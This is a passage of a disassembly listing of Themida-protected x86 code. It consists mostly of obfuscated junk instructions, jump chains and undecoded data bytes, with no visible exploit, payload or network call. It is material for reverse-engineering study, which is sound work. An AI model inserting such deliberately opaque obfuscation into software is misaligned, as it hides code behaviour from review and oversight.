; --------------------------------------------------------------------------- loc_547EB4: ; CODE XREF: Themida_:00549BD0j push dword ptr [esp] mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54F7CD ; --------------------------------------------------------------------------- db 66h, 68h, 19h dd 4EC8306h, 0E9243489h, 2FFEh, 80B6C281h, 0D601D43Eh dd 14FDE9h db 0 ; --------------------------------------------------------------------------- loc_547EED: ; CODE XREF: Themida_:0054597Fj sub eax, 4 jmp loc_545215 ; --------------------------------------------------------------------------- db 4Ah, 0F7h, 0DAh dd 8107EAC1h, 2AB6A6C2h, 5AD601FEh, 4EC81h, 2C890000h dd 8EBA5224h, 4217025Ah, 5573BB53h, 0E4684135h, 89000070h dd 0BA52242Ch, 15947388h, 315AD589h, 38E95DEBh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547F33: ; CODE XREF: Themida_:0054DBF2j add esp, 4 add edx, 67FB1763h jmp loc_543E96 ; --------------------------------------------------------------------------- dd 74FF5358h, 8F5B0424h, 76E92404h, 80FFFFD7h, 0CDFEB7EDh dd 36626850h, 1C890000h, 0CE95224h, 0B8000068h, 2, 4D19E9h dd 66546600h, 6624048Fh, 2B96651h, 44816600h, 56CF0224h dd 244C0166h, 6C816602h, 56CF0224h, 0FFEF01E9h db 0FFh ; --------------------------------------------------------------------------- loc_547F95: ; CODE XREF: Themida_:00547577j xor dword ptr [esp], 7030FEh jmp loc_5498FB ; --------------------------------------------------------------------------- loc_547FA1: ; CODE XREF: Themida_:00548C56j mov ah, 48h jmp loc_54A65E ; --------------------------------------------------------------------------- dd 4C3815Bh, 0E9000000h, 766Dh ; --------------------------------------------------------------------------- loc_547FB4: ; CODE XREF: Themida_:0054E77Bj mov ecx, 24h add ecx, edi push ebx mov ebx, 0 add ebx, ecx jmp loc_54689E ; --------------------------------------------------------------------------- dd 695C68h, 24148900h, 65B05066h, 1DCEE9h, 32FF6600h, 0FFC4C5E9h dd 4FCF68FFh, 8F540000h, 4812404h, 424h, 0EC835B00h, 3DCDE904h dd 505C0000h, 0FFC396E9h, 0CEED81FFh, 1922B27h, 0EBFDE9EBh dd 8358FFFFh, 48904ECh, 7FD66824h, 73E90000h, 66000047h dd 83240C8Bh, 2C8904ECh, 56E58924h, 0FFD296E9h, 4C483FFh dd 20DAE957h, 0EE810000h, 72C13D1Ah, 7417EE81h, 875F6DF1h dd 248B2434h, 48B6624h, 376D6824h, 3C890000h, 0F2E95424h dd 8B000003h, 4892424h, 0B8BAE924h, 0C829FFFFh, 50240C8Bh dd 315FE9h, 4C48100h, 50000000h, 1C592FB8h, 49ADE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548086: ; CODE XREF: Themida_:0054B8C5j xor eax, [esp] xor [esp], eax jmp loc_5490E4 ; --------------------------------------------------------------------------- loc_548091: ; CODE XREF: Themida_:0054BD65j mov cx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_54ED68 ; --------------------------------------------------------------------------- loc_5480B0: ; CODE XREF: Themida_:0054E41Ej mov [esp], eax mov eax, 713364Ch shr eax, 3 push 0 sub [esp], eax pop eax sub eax, 55D77EFDh jmp loc_54D93D ; --------------------------------------------------------------------------- dw 0C800h aYfr db 'YfR²º',0 aS8 db 'ÐéÈ8',0 align 4 loc_5480DC: ; CODE XREF: Themida_:0054E4BEj push ebx push edx push 6F432D94h pop edx sub edx, 772179FFh push ecx mov ecx, 66E1773Ch or edx, ecx pop ecx push ecx jmp loc_54BCFF ; --------------------------------------------------------------------------- loc_5480F9: ; CODE XREF: Themida_:00547D3Fj pop ebp jmp loc_54A086 ; --------------------------------------------------------------------------- db 50h dd 0E9D18851h, 0FFFFE8A6h, 2C8BEE31h, 4C48324h, 515EF301h dd 4B9h, 7535E900h, 0C6810000h, 4, 544F68h, 24048900h dd 3638BD55h, 0F5815387h, 43053EF2h, 277CBF57h, 61E96465h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548143: ; CODE XREF: Themida_:00545A2Dj push dx not byte ptr [esp+1] jmp loc_54F085 ; --------------------------------------------------------------------------- dw 481h dd 424h, 3AC6E900h, 0EDBD0000h, 4D5AB905h, 0FA18C581h dd 0EE01A546h, 71B3685Dh, 3C890000h, 2D4AE924h, 0E7800000h dd 7ADFE923h, 0C890000h, 2F1DB924h, 0E98132F9h, 73D58C3h dd 0C1814149h, 0D44429A8h, 3F49ED81h, 0CD014881h, 3F49C581h dd 87594881h, 248B242Ch, 0FC33024h, 34FFC0B6h, 2434FF87h dd 8124048Bh, 4C4h, 4FC1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5481C2: ; CODE XREF: Themida_:0054DAFCj pop eax xchg edi, [esp] mov esp, [esp] push eax push 53BA2045h pop eax sub esp, 4 mov [esp], esi mov esi, 7DB27CA8h or esi, 671E1975h push esi not dword ptr [esp] pop esi add esi, 0ECC0AFAFh and eax, esi mov esi, [esp] jmp loc_548CF9 ; --------------------------------------------------------------------------- db 81h, 0C7h, 9Fh dd 0C15AB968h, 0DFF708EFh, 1666CF81h, 0D7F73576h, 419C781h dd 0FB015708h, 8BDA015Fh, 0C481241Ch, 4, 37CDC281h, 0EA8179D7h dd 15511D4Ch, 0C281C201h, 15511D4Ch, 37CDEA81h, 525579D7h dd 18579A68h, 0BB535A7Dh, 37683625h, 0F75BDA09h, 72BD55D2h dd 1D6DE99h, 0D5895DEAh, 8124148Bh, 4C4h, 8BEA2900h, 0C481242Ch dd 4, 0FFB6B3E9h, 242C89FFh, 4AEE9h, 8984B900h, 0C8012F74h dd 0CBEEE959h, 1489FFFFh, 2474FF24h, 739AE904h, 30AC0000h dd 525366D8h, 0FBE975B6h, 68000003h, 32E1h, 53240489h dd 2E60E958h, 0A9680000h, 89000044h, 0EC832414h, 24248904h dd 301BE9h, 5530B800h, 0E8C11F26h, 34812D02h, 0A1E96D26h dd 89000053h, 4C181E1h, 0E9000000h, 0FFFFDEEFh, 0E92434FFh dd 0FFFFEC0Fh, 8AE94040h, 28000025h, 5BBC04F8h, 0D8285C04h dd 24045C2Ch, 5FCE952h, 4AC0000h, 4D1049Ch, 2CD828BCh dd 0AAB151BCh, 0E1C0D1F6h, 590BE903h, 2BD0000h, 81000000h dd 0BC5AEBC7h, 81EF014Fh, 0BC5AEBEFh, 0FE95D4Fh, 89000005h dd 9C502414h, 0FFB5E7E9h, 0DC8850FFh, 5B58E188h, 0E924048Bh dd 7487h, 12D1E95Ch, 89660000h, 0EC81241Ch, 4, 0E9241489h dd 1CB3h ; --------------------------------------------------------------------------- loc_548364: ; CODE XREF: Themida_:00543DA4j push ecx jmp loc_54A587 ; --------------------------------------------------------------------------- dw 1C89h dd 81E38924h, 4ECh, 48AAE900h, 1C890000h, 0E2ECE924h, 3C33FFFFh dd 243C3124h, 148FE9h db 0 ; --------------------------------------------------------------------------- loc_54838D: ; CODE XREF: Themida_:0054D8CFj sub edx, esi pop esi add eax, edx jmp loc_54B432 ; --------------------------------------------------------------------------- aBa4i db 'í"4I',0 db 1, 0C5h, 68h dd 37BBh, 0B8240489h, 217F7532h, 0AB2DD0F7h, 1DE3756h dd 34FF58C5h, 6D1FE924h, 0C3090000h, 0F3814358h, 7EFF23FEh dd 14E9D989h, 1000075h, 0FF505DE8h, 58042474h, 0E924048Fh dd 0FFFFDF3Eh, 24048F54h, 4EC81h, 2C890000h, 4BD24h, 44810000h dd 501A0424h, 6C811AFAh, 4F460424h, 6C01055Bh, 44810424h dd 4F460424h, 6C81055Bh, 501A0424h, 2C8B1AFAh, 4C48324h dd 4C3815Bh, 81000000h, 2C3h, 241C8700h, 6824248Bh, 4642h dd 68240C89h, 53D0h, 88240489h, 4EC83D4h, 51241C89h, 0CB88E188h dd 0FFF6CCE9h, 0BD555FFFh, 4, 1259E956h, 0EB810000h, 2B3A3538h dd 26E9FB29h, 81FFFFDBh, 0EE2041C9h, 0C8B85041h, 0E9547822h dd 33E2h ; --------------------------------------------------------------------------- loc_54847C: ; CODE XREF: Themida_:0054CF57j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54C768 ; --------------------------------------------------------------------------- dw 0F829h dd 0FA56FE05h, 5A712D1Ch, 34FF56B4h, 243C8B24h, 8104C483h dd 4C4h, 0D9ACE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5484B2: ; CODE XREF: Themida_:00543B1Ej add cl, 0FCh jmp loc_545A1B ; --------------------------------------------------------------------------- dw 0E0C1h dd 5E0C104h, 4014E9h, 24248B00h, 0FFB457E9h db 0FFh ; --------------------------------------------------------------------------- loc_5484CD: ; CODE XREF: Themida_:0054A782j add edi, 4 xchg edi, [esp] pop esp and eax, ebx pop ebx or eax, eax jz loc_54787E push dword ptr [edi+1Ch] push eax mov eax, 6D7360F2h add [esp+4], eax mov eax, [esp] jmp loc_54A134 ; --------------------------------------------------------------------------- db 2Dh dd 4, 5C240487h, 57241C89h, 0FFDF3DE9h, 88C781FFh, 0E9427630h dd 462Ch, 592434FFh, 4C481h, 0C1810000h, 4, 0FA3DE950h dd 0BF57FFFFh, 4, 34FFF929h, 0C4815F24h, 4, 0BF6E9h, 0EDC38100h dd 3158657Eh, 0E9505BD8h, 459Ah, 8124048Bh, 4C4h, 97B15100h dd 59CE00h, 97EE80EEh, 8BF03059h, 0C4832414h, 0FA56E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548572: ; CODE XREF: Themida_:00547BC4j pop ebp sub [esp+4], edi mov edi, [esp] add esp, 4 pop ebp add ebp, 15E652D1h mov eax, ebp pop ebp sub esp, 4 mov [esp], ebp push ebp mov ebp, esp jmp loc_54BB94 ; --------------------------------------------------------------------------- dd 0F53917BBh, 0FFC3311Bh, 83582434h, 79E904C4h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5485AB: ; CODE XREF: Themida_:0054ABBFj sub ebp, 0F31C40BFh push ebp sub dword ptr [esp], 38232D58h jmp loc_545BE0 ; --------------------------------------------------------------------------- dw 3489h dd 5621BE24h, 0ADE95EB0h, 5EFFFFF0h, 0B89BE9FDh, 0B551FFFFh dd 44CD803Eh, 0E580CDFEh, 80CDFE2Dh, 0F580B3EDh, 59EB0007h dd 0E94FEB80h, 0FFFFD008h, 5C24048Fh, 0BB241C89h, 19A04F78h dd 7B6BEB81h, 0CB810E7Ah, 0B944B25h, 4FE9DBF7h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54860F: ; CODE XREF: Themida_:0054CAB0j pop ecx jmp loc_54D10A ; --------------------------------------------------------------------------- db 2Ch, 0C7h, 0 dd 506652C8h, 0E2885FB4h, 0C2FE5866h, 2C5E9h, 0B1515A00h dd 76E180EEh, 52C0E9h, 0E9028F00h, 0FFFFB2E8h, 4C481h dd 48F0000h, 24248B24h, 50241489h, 0B2D2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548652: ; CODE XREF: Themida_:00547C32j xchg edi, [esp] jmp loc_54ACDB ; --------------------------------------------------------------------------- dw 0C483h dd 5BD88904h, 0FFB2BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_548665: ; CODE XREF: Themida_:00549D7Bj add eax, 30D03C16h jmp loc_54E8B1 ; --------------------------------------------------------------------------- db 8Fh dd 9EE92404h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548677: ; CODE XREF: Themida_:0054C1A6j mov ecx, ebx pop ebx mov ebx, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_54C2CD ; --------------------------------------------------------------------------- dd 7F48DDBDh, 0D9F5812Ah, 12A7F48h, 6C5DE9E9h, 0F6800000h dd 1E36E935h, 5580000h, 4, 8304E883h, 0F8E904ECh, 0FFFFFFDBh dd 5A042474h, 5C24048Fh, 0FF2434FFh, 34FF2434h, 0C4815A24h dd 4, 4C481h, 0E2680000h, 89000071h, 87E9240Ch db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486DF: ; CODE XREF: Themida_:005456FAj mov esi, ebx mov ebx, [esp] push esi push esp jmp loc_54A47A ; --------------------------------------------------------------------------- db 89h dd 0BCB42404h, 58E100h, 0D91BE9C1h, 0F281FFFFh, 136608B1h dd 6EE9D001h, 5C000025h, 66241489h, 66124468h, 0B5240C89h dd 0E888506Eh, 6658C288h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_544386 ; --------------------------------------------------------------------------- db 0BDh dd 31E64DFCh, 0F1E9E921h, 0FF000013h, 77E92434h, 5C000023h dd 24048B66h, 708B68h, 24348900h, 4EC81h, 24890000h, 24048124h dd 4, 5E9575Eh, 68FFFFC0h, 1B88h, 5B75E9h, 48F5B00h, 1125E924h dd 895C0000h, 0FCE92404h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54877B: ; CODE XREF: Themida_:00549551j mov [esp], edx push esp jmp loc_543D1C ; --------------------------------------------------------------------------- dd 7B2568h, 3887E900h, 0C4810000h, 4, 4C481h, 48F0000h dd 0F665C24h, 0A3E9C8B6h, 0E9000041h, 0FFFFB178h, 8058E120h dd 17E9ACC1h, 0ADFFFFF9h, 82E9D831h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5487BF: ; CODE XREF: Themida_:00546CECj pop edx push ebx jmp loc_548C7F ; --------------------------------------------------------------------------- dw 872Dh dd 5D510100h, 0FFD771E9h, 2434FFFFh, 592434FFh, 0E904C483h dd 0FFFFB7D6h, 5A1CE9ADh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5487E6: ; CODE XREF: Themida_:0054DD14j sub esp, 4 mov [esp], esi push ebx pop esi jmp loc_548A90 ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 0E9000000h, 0FFFFB1E7h, 5C243C87h, 0FFEDCBE9h dd 0E38953FFh, 4C381h, 0EB810000h, 4, 5C241C87h, 0E9240C89h dd 80Ch, 1A02E957h, 0D9890000h, 42A1E9h, 24348B00h, 8104C483h dd 4C6h, 0CDA1E900h, 0FF57FFFFh, 5F042474h, 0FFDAADE9h dd 243487FFh, 3024248Bh, 0E99C2404h, 0FFFFB0C8h ; --------------------------------------------------------------------------- loc_54885C: ; CODE XREF: Themida_:0054D560j mov edx, 6DE23F95h push esi mov esi, 0FFFFFFFFh jmp loc_54F159 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 2BF5700h, 81000000h, 0F17417C6h, 1AC6816Dh dd 8172C13Dh, 0F84FA6C6h, 81FE0130h, 0F84FA6EEh, 0F7A0E930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54889A: ; CODE XREF: Themida_:0054C17Fj pop ecx jmp loc_54CA01 ; --------------------------------------------------------------------------- loc_5488A0: ; CODE XREF: Themida_:00547C9Fj xor eax, ecx jmp loc_54C57B ; --------------------------------------------------------------------------- loc_5488A7: ; CODE XREF: Themida_:00544A40j mov edx, [esp] push eax jmp loc_54D0B7 ; --------------------------------------------------------------------------- dd 0C5815D58h, 4, 0FFB6E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5488BD: ; CODE XREF: Themida_:0054BC65j pop eax jmp loc_5464A8 ; --------------------------------------------------------------------------- db 5Ah dd 720DBD55h, 0C681612Fh, 52395219h, 0EBE9EE01h, 81000013h dd 4C2h, 5A545200h, 4C281h, 0EA830000h, 489DE904h, 0EAC00000h dd 0E9DAF602h, 65E8h ; --------------------------------------------------------------------------- loc_5488F8: ; CODE XREF: Themida_:005448F0j push ebp jmp loc_54B54F ; --------------------------------------------------------------------------- dw 34B6h dd 0FEB8CE80h, 20F680CEh, 0E950F680h, 7233h, 83243C8Bh dd 256804C4h, 0E900007Eh, 0FFFFB3B7h ; --------------------------------------------------------------------------- loc_548920: ; CODE XREF: Themida_:00548AC7j jmp loc_543924 ; --------------------------------------------------------------------------- db 68h, 37h, 28h dd 24890000h, 0D5A9E924h, 0C701FFFFh, 2C78358h, 5C243C87h dd 24048B66h, 0FFC511E9h db 0FFh ; --------------------------------------------------------------------------- loc_548945: ; CODE XREF: Themida_:00548FE1j sub al, 95h pop bx sub esp, 4 jmp loc_547421 ; --------------------------------------------------------------------------- loc_548951: ; CODE XREF: Themida_:0054BE0Aj mov esp, [esp] mov [esp], ebp mov ebp, 5B6931BFh jmp loc_54670D ; --------------------------------------------------------------------------- aQss3 db 'ÑïSéê3',0 dd 2C48300h, 4EC8151h, 89000000h, 4A682404h, 8900000Ch dd 8268240Ch, 0E9000027h, 4C13h ; --------------------------------------------------------------------------- loc_548988: ; CODE XREF: Themida_:0054FA56j push ebx mov ebx, 1A875895h jmp loc_544C36 ; --------------------------------------------------------------------------- db 0FFh a4S6 db '4$é"6',0 dw 5F00h dd 0FFE53EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5489A1: ; CODE XREF: Themida_:005498CBj pop ebx shr eax, 12h xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp xchg edx, ebp jmp loc_543978 ; --------------------------------------------------------------------------- dd 5213F580h, 0D388EA88h, 6A34E9h, 1C5F0900h, 59A1E9h dd 240C8900h, 0C181E189h, 4, 0E904E983h, 974h, 0E33BF57h dd 0EF8132E0h, 3A612CDFh, 3DFBBE56h, 53464324h, 0F35DCFBBh dd 5BDE3105h, 0EE81DEF7h, 924C56EEh, 215EF701h, 0F74E5FFEh dd 7EEC1DEh, 0B6EDF681h, 0F0890BD8h, 1C0835Eh, 665B68h dd 24048900h, 582414F7h, 0EFDF6505h, 8BC12939h, 0C4812404h dd 4, 6879E181h, 0D8E935FCh db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A3F: ; CODE XREF: Themida_:00545687j mov [esp], ebx jmp loc_54BB59 ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 0E859E924h, 5658FFFFh, 1BEh, 6D1E900h, 0EB810000h dd 0F44A20CFh, 0E95BDE01h, 0EE4h ; --------------------------------------------------------------------------- loc_548A6C: ; CODE XREF: Themida_:0054F827j mov edi, 158E11B6h or edx, edi pop edi xor edx, 406648h push edx pop eax pop edx jmp loc_54480D ; --------------------------------------------------------------------------- dw 0FF57h dd 8B042474h, 0E957243Ch, 27E2h ; --------------------------------------------------------------------------- loc_548A90: ; CODE XREF: Themida_:005487EEj push esi jmp loc_545672 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 875FFE01h, 248B2434h, 9CC88524h, 0FFAE77E9h, 243489FFh dd 9521B5BEh, 474DE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_548ABA: ; CODE XREF: Themida_:0054EDD3j add [esp+4], ebp add dword ptr [esp+4], 770B12E6h pop ebp jmp loc_548920 ; --------------------------------------------------------------------------- dd 8104C483h, 0A69024EFh, 0E9FE01C6h, 542Bh ; --------------------------------------------------------------------------- loc_548ADC: ; CODE XREF: Themida_:0054D431j mov ebp, esp add ebp, 4 jmp loc_5490BE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 2479E9h, 84BBB00h, 0DBF7559Dh, 8107E3C1h dd 0DF74DECBh, 5277E926h, 81590000h, 3D43D5C3h, 2AEB8169h dd 8136094Bh, 0A87C05C3h, 2F8BE942h, 0C1880000h, 0F7A9E951h dd 0E95CFFFFh, 2E1Ah ; --------------------------------------------------------------------------- loc_548B30: ; CODE XREF: Themida_:0054398Bj xor bl, al push 2CFBh mov [esp], ebx mov bl, al push eax push ebp mov ebp, 5B5D246Dh mov eax, 5B5D2495h sub eax, ebp jmp loc_54EE64 ; --------------------------------------------------------------------------- loc_548B4F: ; CODE XREF: Themida_:0054EC1Ej mov esi, 720B5BA2h not esi inc esi xor esi, 3FDF133Ah dec esi jmp loc_54714B ; --------------------------------------------------------------------------- loc_548B63: ; CODE XREF: Themida_:00546DF0j add esp, 4 push ecx push esp mov ecx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_546AA5 ; --------------------------------------------------------------------------- dd 5324148Bh, 0C381E389h, 4, 4C381h, 0ADE90000h, 57000017h dd 0F65037BFh, 81EFD162h, 0B8403FC7h, 60BA524Ch, 107481Bh dd 45ACE9D7h, 3C8B0000h, 4C48324h, 0E9CF875Dh, 2F5Fh, 5253DEF7h dd 1A0AE9h, 0E9E38900h, 0FFFFC657h, 8B2434FFh, 0C4832404h dd 11F86804h, 2C890000h, 815D5424h, 4C5h, 17E0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548BF2: ; CODE XREF: Themida_:0054A66Aj xor bh, ah pop eax sub ah, bh jmp loc_54F845 ; --------------------------------------------------------------------------- loc_548BFC: ; CODE XREF: Themida_:0054FD0Dj push eax mov eax, 69F67346h shl eax, 2 xchg eax, esi inc esi xchg eax, esi push ebp jmp loc_54E107 ; --------------------------------------------------------------------------- dw 15Bh dd 4055EF0h, 33000000h, 4312404h, 24043324h, 580BE9h, 24148900h dd 42474FFh, 5A2434FFh, 0E9E28952h, 3747h, 2474FF50h, 24048B04h dd 5E08950h, 4, 0D94E9h db 0 ; --------------------------------------------------------------------------- loc_548C4D: ; CODE XREF: Themida_:00549733j dec bh or bh, 38h shl bh, 2 push eax jmp loc_547FA1 ; --------------------------------------------------------------------------- db 0C1h dd 0DBF708EBh, 3587BF57h, 8EE9647Ch, 33FFFFF5h, 19E92434h dd 0BE000064h, 4, 0B4E9F201h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C7F: ; CODE XREF: Themida_:005487C1j mov ebx, 1EA906E3h jmp loc_543AF4 ; --------------------------------------------------------------------------- aItsrt db '‰âéàT',0 align 10h loc_548C90: ; CODE XREF: Themida_:00546A09j add eax, 4 xchg eax, [esp] pop esp pop small word ptr [eax] jmp loc_543924 ; --------------------------------------------------------------------------- loc_548CA1: ; CODE XREF: Themida_:0054FA72j neg ebp and ebp, 7147521Bh xor ebp, 35EA3576h sub esi, ebp pop ebp and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_54AAF2 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 4055800h, 56000000h, 4BEh, 5124E900h dd 0C6890000h, 0F0295F58h, 5E2434FFh, 660CE9h db 0 ; --------------------------------------------------------------------------- loc_548CF9: ; CODE XREF: Themida_:005481F4j add esp, 4 dec eax shr eax, 3 push esi push ebx jmp loc_545C1A ; --------------------------------------------------------------------------- db 2Dh dd 47F5174Ch, 9466D52Dh, 0E9E82954h, 28F6h ; --------------------------------------------------------------------------- loc_548D18: ; CODE XREF: Themida_:0054BDF0j sub eax, edi pop edi push 2EBEh mov [esp], ebp push edx jmp loc_547A2B ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 0FFB5B3E9h, 0B2B450FFh, 0DAE9E4D0h, 83000049h dd 0E9042404h, 0FFFFBBC7h ; --------------------------------------------------------------------------- loc_548D48: ; CODE XREF: Themida_:00545022j pop ebx add esp, 4 push small 795Bh mov [esp], cx push eax mov ah, 14h inc ah jmp loc_5468FA ; --------------------------------------------------------------------------- loc_548D5E: ; CODE XREF: Themida_:005494BCj push dword ptr [esp] jmp loc_549232 ; --------------------------------------------------------------------------- dw 8B58h dd 0E5E9241Ch, 51000055h, 11E0E9h, 0E9118800h, 0FFFFC84Fh dd 5EA568h, 243C8900h, 4BFh, 0E9F80100h, 904h, 8D4467BBh dd 0D1E94346h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D9B: ; CODE XREF: Themida_:0054AFE1j mov ebp, [esp] push ebp push 26B5h mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_546C87 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 5B000000h, 1B0EBE56h, 0E6C17982h, 0BBCE8104h dd 0E9568118h, 0FFFFCA6Dh, 7745C381h, 0EB810BDCh, 6AE4477Fh dd 8AE9C329h, 81FFFFE8h, 80A6DC5h, 81C50173h, 80A6DEDh dd 2434FF73h, 4C48358h, 2474FF55h, 242C8B04h, 4C481h, 48F0000h dd 24248B24h, 487168h, 24348900h, 4EC81h, 24890000h, 24048324h dd 2434FF04h, 16FE95Eh, 0D3010000h, 0FFB91DE9h, 0E9D601FFh dd 0FFFFD276h, 5C241487h, 5A5D68h, 240C8900h, 42474FFh dd 24048F59h, 48B665Ch, 4EC8324h, 0E9243489h, 99Ah, 2C87D5F7h dd 55515D24h, 0FFC74DE9h, 24348BFFh, 22E95450h, 0B8000004h dd 4, 5558C701h, 746689BDh, 0DDF74541h, 0FFC8C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_548E89: ; CODE XREF: Themida_:00543A8Fj or eax, eax jz loc_545DDD push dword ptr [edi+1Ch] xor dword ptr [esp], 6E1019ECh mov ecx, [esp] add esp, 4 jmp loc_546CAD ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0E9560000h, 0FFFFB94Eh, 81241C8Bh, 4C4h, 30CDB000h dd 42B159E8h, 750E68h, 0F819E900h, 1489FFFFh, 81E28924h dd 4C2h, 4C28100h, 0E9000000h, 26BDh ; --------------------------------------------------------------------------- loc_548EE8: ; CODE XREF: Themida_:0054F107j add eax, 4 add eax, 4 jmp loc_54AC52 ; --------------------------------------------------------------------------- db 5Bh dd 0DF05D829h, 57725E68h, 0B45669BFh, 3FC7813Ah, 0F759DE25h dd 14F757D7h, 0EFC15F24h, 0AFAE905h, 895C0000h, 4812424h dd 424h, 240C8B00h, 8104C483h, 4C1h, 0C3F5E900h, 0BF57FFFFh dd 4, 0FFC0FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_548F41: ; CODE XREF: Themida_:00545090j and eax, esi jmp loc_54F567 ; --------------------------------------------------------------------------- dd 24048B66h, 68E18951h, 41F0h, 0BE243489h, 26262B26h dd 48E9D6F7h, 5B000032h, 4244481h, 64FA46AFh, 4BEE9h, 8B5BA00h dd 7FE91366h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F7B: ; CODE XREF: Themida_:00544823j push esp mov ecx, [esp] add esp, 4 push ebx jmp loc_5496E5 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 575D0424h, 0FFAE4AE9h, 0E38953FFh, 0E904EC83h dd 215Bh, 0FFA97BE9h, 4B9FFh, 0CD290000h, 242C8759h, 1E05E95Ch dd 89560000h, 4C681E6h, 81000000h, 4C6h, 24348700h, 24048F5Ch dd 5B91E9h, 24048700h, 0FFF72AE9h db 0FFh ; --------------------------------------------------------------------------- loc_548FDD: ; CODE XREF: Themida_:0054D3BEj sub al, bl add al, 9 jmp loc_548945 ; --------------------------------------------------------------------------- dw 0F8B9h dd 297A7703h, 2D2D59C8h, 29242E07h, 4EC81D0h, 89000000h dd 0E5BD242Ch, 0E94FBB1Bh, 0FFFFAF81h, 0F9F7814Fh, 0E979C4FAh dd 0FFFFB4A2h, 4C781h, 74E90000h, 8100000Dh, 79B73FC2h dd 354BE9ABh, 0E9590000h, 2DA4h, 20068h, 4F095900h, 240C8B1Ch dd 495EE9h, 63E95600h, 5FFFFFAFh, 0CCE9E829h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54904F: ; CODE XREF: Themida_:0054C5DDj pop esp mov [esp], esi mov esi, 47B81026h shr esi, 1 shr esi, 6 shl esi, 4 and esi, 39738CFh add esi, 0FF6A0000h jmp loc_5471FE ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 2024248Bh, 0E99C2404h, 0FFFFD0B9h ; --------------------------------------------------------------------------- loc_549080: ; CODE XREF: Themida_:005442A2j add ebx, esi mov esi, [esp] push eax mov eax, esp push edi jmp loc_545283 ; --------------------------------------------------------------------------- dw 0D601h dd 8124148Bh, 4C4h, 0FFC68100h, 81FFFFFFh, 0DCAE2EC6h dd 0AFC381B2h, 141DF1Eh, 0AFEB81F3h, 5E41DF1Eh, 22B768h dd 0A8D2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490BE: ; CODE XREF: Themida_:00548AE4j sub ebp, 4 jmp loc_54D0F0 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0EBh dd 674A4197h, 0BD55C301h, 48163E91h, 0F708EDC1h, 0E9DDF7DDh dd 0FFFFB23Fh ; --------------------------------------------------------------------------- loc_5490E4: ; CODE XREF: Themida_:0054808Cj xor eax, [esp] jmp loc_546466 ; --------------------------------------------------------------------------- dd 4B8h, 0FFC30100h, 48B2434h, 4C48124h, 0E9000000h, 0FFFFEF71h dd 4C483h, 2434FFF0h, 6824148Bh, 1617h, 89241C89h, 4C381E3h dd 83000000h, 0FEE904C3h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549127: ; CODE XREF: Themida_:0054968Fj shl ebx, 5 jmp loc_54BC97 ; --------------------------------------------------------------------------- db 1 dd 7EE95EF2h, 68000040h, 281h, 0FF240C89h, 8B042474h, 0DAE9240Ch dd 8B000067h, 0C483242Ch, 24048704h, 1244E9h, 461E6800h dd 2C890000h, 4BD24h, 0EE890000h, 1E18E95Dh, 875F0000h dd 8F5C2414h, 6E682404h, 0E9000067h, 0D2Eh, 24BAC381h dd 0CB016637h, 24BAEB81h, 81596637h, 0F71A13F3h, 4B14E9C0h dd 2C870000h, 0AA685C24h, 0E900005Bh, 134Fh, 0E9242489h dd 0FFFFD466h, 28B6664h, 0C3E95456h, 5CFFFFC3h, 0FF2434FFh dd 81582434h, 4C4h, 89575700h, 67E951E7h, 0FFFFFFE9h, 589D1C77h dd 9C240411h, 0FFB423E9h, 4C781FFh, 87000000h, 835C243Ch dd 148702C2h, 24248B24h, 4B30F66h, 25E99C24h db 0A7h, 2 dup(0FFh) ; 